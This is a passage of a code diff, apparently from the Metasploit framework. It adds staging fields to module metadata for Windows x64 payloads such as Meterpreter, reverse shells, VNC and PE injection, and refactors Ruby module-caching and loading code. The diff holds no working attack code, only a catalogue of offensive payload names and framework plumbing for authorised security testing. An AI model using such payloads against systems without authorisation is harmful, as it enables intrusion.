"/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb", - "is_install_path": true, - "ref_name": "windows/x64/encrypted_shell_reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_windows/x64/exec": { "name": "Windows x64 Execute Command", @@ -224359,7 +229783,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/loadlibrary": { "name": "Windows x64 LoadLibrary Path", @@ -224394,7 +229820,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/messagebox": { "name": "Windows MessageBox x64", @@ -224428,7 +229856,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager", @@ -224465,7 +229895,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -224502,7 +229936,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager", @@ -224540,7 +229978,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager", @@ -224577,7 +230019,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -224618,7 +230064,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)", @@ -224655,7 +230105,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", @@ -224692,7 +230146,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, "payload_windows/x64/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", @@ -224732,7 +230190,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, "payload_windows/x64/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager", @@ -224769,7 +230231,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_windows/x64/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager", @@ -224806,7 +230272,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -224847,7 +230317,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)", @@ -224884,7 +230358,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)", @@ -224921,7 +230399,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_windows/x64/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)", @@ -224958,7 +230440,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_windows/x64/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", @@ -224995,7 +230481,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline (x64)", @@ -225031,7 +230519,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline (x64)", @@ -225067,7 +230557,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", @@ -225103,7 +230595,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", @@ -225139,7 +230633,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline x64", @@ -225175,7 +230671,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/peinject/bind_ipv6_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager", @@ -225210,7 +230708,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -225246,7 +230748,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/peinject/bind_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager", @@ -225281,7 +230787,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/peinject/bind_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager", @@ -225316,7 +230826,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/peinject/bind_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -225356,7 +230870,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/peinject/bind_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)", @@ -225392,7 +230910,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/peinject/reverse_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -225427,7 +230949,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_windows/x64/peinject/reverse_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager", @@ -225462,7 +230988,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/peinject/reverse_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -225502,7 +231032,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/peinject/reverse_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)", @@ -225538,7 +231072,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/pingback_reverse_tcp": { "name": "Windows x64 Pingback, Reverse TCP Inline", @@ -225572,7 +231110,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", @@ -225608,7 +231148,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", @@ -225644,7 +231186,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", @@ -225680,7 +231224,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/shell/bind_ipv6_tcp": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", @@ -225714,7 +231260,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/shell/bind_ipv6_tcp_uuid": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -225749,7 +231299,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/shell/bind_named_pipe": { "name": "Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", @@ -225784,7 +231338,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/shell/bind_tcp": { "name": "Windows x64 Command Shell, Windows x64 Bind TCP Stager", @@ -225818,7 +231376,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/shell/bind_tcp_rc4": { "name": "Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -225857,7 +231419,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/shell/bind_tcp_uuid": { "name": "Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", @@ -225892,7 +231458,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/shell/reverse_tcp": { "name": "Windows x64 Command Shell, Windows x64 Reverse TCP Stager", @@ -225926,7 +231496,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/shell/reverse_tcp_rc4": { "name": "Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -225965,7 +231539,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/shell/reverse_tcp_uuid": { "name": "Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", @@ -226000,7 +231578,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/shell_bind_tcp": { "name": "Windows x64 Command Shell, Bind TCP Inline", @@ -226034,7 +231616,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/shell_reverse_tcp": { "name": "Windows x64 Command Shell, Reverse TCP Inline", @@ -226068,7 +231652,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/x64/vncinject/bind_ipv6_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager", @@ -226103,7 +231689,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -226139,7 +231729,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/vncinject/bind_named_pipe": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager", @@ -226175,7 +231769,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/vncinject/bind_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager", @@ -226210,7 +231808,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/vncinject/bind_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -226250,7 +231852,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/vncinject/bind_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)", @@ -226286,7 +231892,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/vncinject/reverse_http": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", @@ -226322,7 +231932,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, "payload_windows/x64/vncinject/reverse_https": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", @@ -226360,7 +231974,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, "payload_windows/x64/vncinject/reverse_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager", @@ -226395,7 +232013,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/vncinject/reverse_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -226435,7 +232057,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/vncinject/reverse_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)", @@ -226471,7 +232097,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/vncinject/reverse_winhttp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)", @@ -226507,7 +232137,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_windows/x64/vncinject/reverse_winhttps": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)", @@ -226543,7 +232177,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" }, "post_aix/hashdump": { "name": "AIX Gather Dump Password Hashes", @@ -242885,4 +248523,4 @@ ], "needs_cleanup": null } -} \ No newline at end of file +} diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index eef5cdb65d581..625cd1c64bb4b 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -48,7 +48,7 @@ def init_module_paths(opts={}) # Load each of the module paths allowed_module_paths.each do |path| - self.modules.add_module_path(path, opts) + self.modules.add_module_path(path, opts, recalculate: false) end @module_paths_inited = true diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index fe628a81bfe97..5c7e44f7cf66e 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -83,6 +83,19 @@ class << self # The path from which the module was loaded. # attr_accessor :file_path + + # @return [String, nil] Reference name of the payload being adapted + attr_accessor :adapted_refname + + # @return [String, nil] Reference name of the payloads adapter + attr_accessor :adapter_refname + + # @return [String, nil] Reference name of the payload stage + attr_accessor :stage_refname + + # @return [String, nil] Reference name of the payloads stager + attr_accessor :stager_refname + end # @@ -207,6 +220,26 @@ def file_path self.class.file_path end + # @return [String, nil] Reference name of the payload being adapted + def adapted_refname + self.class.adapted_refname + end + + # @return [String, nil] Reference name of the payloads adapter + def adapter_refname + self.class.adapter_refname + end + + # @return [String, nil] Reference name of the payload stage + def stage_refname + self.class.stage_refname + end + + # @return [String, nil] Reference name of the payloads stager + def stager_refname + self.class.stager_refname + end + # # Returns the current workspace # diff --git a/lib/msf/core/module/module_info.rb b/lib/msf/core/module/module_info.rb index 7bae76896d14b..4f529c0fc9ab9 100644 --- a/lib/msf/core/module/module_info.rb +++ b/lib/msf/core/module/module_info.rb @@ -83,7 +83,7 @@ def info_fixups # def merge_check_key(info, name, val) if (self.respond_to?("merge_info_#{name.downcase}", true)) - eval("merge_info_#{name.downcase}(info, val)") + self.send("merge_info_#{name.downcase}", info, val) else # If the info hash already has an entry for this name if (info[name]) diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index edddf298d4f63..b1a8ed57b6af2 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -8,6 +8,8 @@ module Msf::ModuleManager::Cache extend ActiveSupport::Concern + MEMORY = :memory + FILESYSTEM = :filesystem # Returns whether the cache is empty # # @return [true] if the cache has no entries. @@ -71,32 +73,40 @@ def cache_in_memory(class_or_module, options={}) # @param [String] reference_name the module reference name. # @return [false] if a module with the given type and reference name does not exist in the cache. # @return (see Msf::Modules::Loader::Base#load_module) - def load_cached_module(type, reference_name) + def load_cached_module(type, reference_name, cache_type: Msf::ModuleManager::Cache::MEMORY) loaded = false - module_info = self.module_info_by_path.values.find { |inner_info| - inner_info[:type] == type and inner_info[:reference_name] == reference_name - } + case cache_type + when Msf::ModuleManager::Cache::FILESYSTEM + cached_metadata = Msf::Modules::Metadata::Cache.instance.get_module_reference(type: type, reference_name: reference_name) + return false unless cached_metadata + + parent_path = get_parent_path(cached_metadata.path, type) + when Msf::ModuleManager::Cache::MEMORY + cached_metadata = nil + module_info = self.module_info_by_path.values.find { |inner_info| + inner_info[:type] == type and inner_info[:reference_name] == reference_name + } + return false unless module_info - if module_info parent_path = module_info[:parent_path] + else + raise ArgumentError, "#{cache_type} is not a valid cache type." + end - # XXX borked - loaders.each do |loader| - if loader.loadable_module?(parent_path, type, reference_name) - type = module_info[:type] - reference_name = module_info[:reference_name] + # XXX borked + loaders.each do |loader| + next unless cached_metadata || loader.loadable_module?(parent_path, type, reference_name) - loaded = loader.load_module(parent_path, type, reference_name, :force => true) + loaded = loader.load_module(parent_path, type, reference_name, force: true, cached_metadata: cached_metadata) - break if loaded - end - end + break if loaded end loaded end + # @overload refresh_cache_from_module_files # Rebuilds module metadata store and in-memory cache for all modules. # @@ -120,6 +130,7 @@ def refresh_cache_from_module_files(module_class_or_instance = nil) ['nop', @framework.nops], ['evasion', @framework.evasion] ] + @framework.payloads.recalculate # Ensure all payloads are calculated before refreshing metadata Msf::Modules::Metadata::Cache.instance.refresh_metadata(module_sets) end refresh_cache_from_database(self.module_paths) @@ -159,9 +170,7 @@ def module_info_by_path_from_database!(allowed_paths=[""]) # Skip cached modules that are not in our allowed load paths next if allowed_paths.select{|x| path.index(x) == 0}.empty? - # The load path is assumed to be the next level above the type directory - type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '') - parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite + parent_path = get_parent_path(path, type) module_info_by_path[path] = { :reference_name => reference_name, @@ -179,13 +188,20 @@ def module_info_by_path_from_database!(allowed_paths=[""]) # Don't want to trigger as {Msf::ModuleSet#create} so check for # key instead of using ||= which would call {Msf::ModuleSet#[]} # which would potentially call {Msf::ModuleSet#create}. - if typed_module_set - unless typed_module_set.has_key?(reference_name) - typed_module_set[reference_name] = Msf::SymbolicModule - end + next unless typed_module_set + unless typed_module_set.has_key?(reference_name) + typed_module_set[reference_name] = Msf::SymbolicModule end end self.module_info_by_path end + + private + + def get_parent_path(module_path, type) + # The load path is assumed to be the next level above the type directory + type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '') + module_path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite + end end diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index 56f6506b37891..c1ba2b66ba666 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -161,7 +161,7 @@ def loaders # @option options [Array] :modules An array of regex patterns to search for specific modules # @return [Hash{String => Integer}] Maps module type to number of modules loaded def load_modules(path, options={}) - options.assert_valid_keys(:force, :whitelist) + options.assert_valid_keys(:force, :whitelist, :recalculate) count_by_type = {} diff --git a/lib/msf/core/module_manager/module_paths.rb b/lib/msf/core/module_manager/module_paths.rb index 91a41a18add53..71f3c375f96ae 100644 --- a/lib/msf/core/module_manager/module_paths.rb +++ b/lib/msf/core/module_manager/module_paths.rb @@ -16,7 +16,7 @@ module Msf::ModuleManager::ModulePaths # @param [Hash] opts # @option opts [Array] whitelist An array of regex patterns to search for specific modules # @return (see Msf::Modules::Loader::Base#load_modules) - def add_module_path(path, opts={}) + def add_module_path(path, opts={}, recalculate: true) nested_paths = [] # remove trailing file separator @@ -38,7 +38,7 @@ def add_module_path(path, opts={}) # Load all of the modules from the nested paths count_by_type = {} nested_paths.each { |path| - path_count_by_type = load_modules(path, opts.merge({:force => false})) + path_count_by_type = load_modules(path, opts.merge({:force => false, recalculate: recalculate})) # merge hashes path_count_by_type.each do |type, path_count| @@ -61,4 +61,4 @@ def remove_module_path(path) protected attr_accessor :module_paths # :nodoc: -end \ No newline at end of file +end diff --git a/lib/msf/core/module_set.rb b/lib/msf/core/module_set.rb index 29fb6082d60f0..49794a1dad0bb 100644 --- a/lib/msf/core/module_set.rb +++ b/lib/msf/core/module_set.rb @@ -34,17 +34,12 @@ def [](name) # @param reference_name [String] The module reference name. # @return [Msf::Module,nil] Instance of the named module or nil if it # could not be created. - def create(reference_name) + def create(reference_name, cache_type: Msf::ModuleManager::Cache::FILESYSTEM) klass = fetch(reference_name, nil) instance = nil - - # If there is no module associated with this class, then try to demand - # load it. + # If there is no module associated with this class, then try to demand load it. if klass.nil? or klass == Msf::SymbolicModule - if framework.modules.load_cached_module(module_type, reference_name) || empty? - recalculate - end - + framework.modules.load_cached_module(module_type, reference_name, cache_type: cache_type) klass = fetch(reference_name, nil) end diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 2398cb762de79..35c8e8f1aedce 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -107,12 +107,17 @@ def loadable?(path) # # @see #read_module_content # @see Msf::ModuleManager::Loading#file_changed? - def load_module(parent_path, type, module_reference_name, options={}) - options.assert_valid_keys(:count_by_type, :force, :recalculate_by_type, :reload) + def load_module(parent_path, type, module_reference_name, options = {}) + options.assert_valid_keys(:count_by_type, :force, :recalculate_by_type, :reload, :cached_metadata) force = options[:force] || false reload = options[:reload] || false - module_path = self.module_path(parent_path, type, module_reference_name) + if options[:cached_metadata] + module_path = options[:cached_metadata].path + else + module_path = self.module_path(parent_path, type, module_reference_name) + end + file_changed = 